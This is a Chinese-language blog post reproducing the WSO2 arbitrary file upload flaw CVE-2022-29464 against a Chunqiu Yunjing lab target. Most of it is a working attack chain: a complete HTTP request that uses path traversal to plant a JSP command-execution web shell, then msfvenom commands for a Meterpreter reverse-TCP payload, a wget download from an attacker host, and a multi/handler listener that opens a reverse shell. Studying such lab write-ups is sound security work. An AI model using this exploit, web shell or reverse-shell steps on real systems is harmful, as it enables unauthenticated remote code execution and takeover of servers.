WSO2文件上传漏洞(CVE-2022-29464)

漏洞背景

WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。

这里我用的环境是春秋云镜的靶场。https://yunjing.ichunqiu.com/

漏洞原理

漏洞复现

1、访问漏洞地址,是一个登录框

 2、刷新该登录页面,burp抓包。

3、构造数据包,重放,只需要修改host值就行。就会上传一个wavesky.jsp文件到指定目录。

POST /fileupload/toolsAny HTTP/2
Host: eci-2zebq0nhwv7a0w8g9ev5.cloudeci1.ichunqiu.com:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 901
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

4、访问我们上传的文件:http://eci-2zebq0nhwv7a0w8g9ev5.cloudeci1.ichunqiu.com:9445/authenticationendpoint/wavesky.jsp?cmd=ls

 5、这里执行命令太麻烦,我们可以利用msf生成一个木马,用wget下载到该目标机器中执行,让其反弹回一个shell。

msf生成linux木马命令:

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4567 -f elf -o syr.elf

6、生成木马文件后,再改目录下利用python开启一个http服务,让靶机能够访问到。

python3 -m http.server 9999

7、在我们的jsp文件目录下利用wget下载syr.elf文件,

wget http://192.168.1.1:9999/syr.elf

并给syr.elf文件一个执行权限: chmod 777 syr.elf

8、开启msf的监听模块

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.1
set lport 4567
run

9、执行syr.elf文件 ./syr.elf

 10、在我们的msf中就成功拿到靶机的shell了

之后在根目录下就能看到flag了

 

posted @ 2022-11-26 11:41  三亿人  阅读(2070)  评论(0编辑  收藏  举报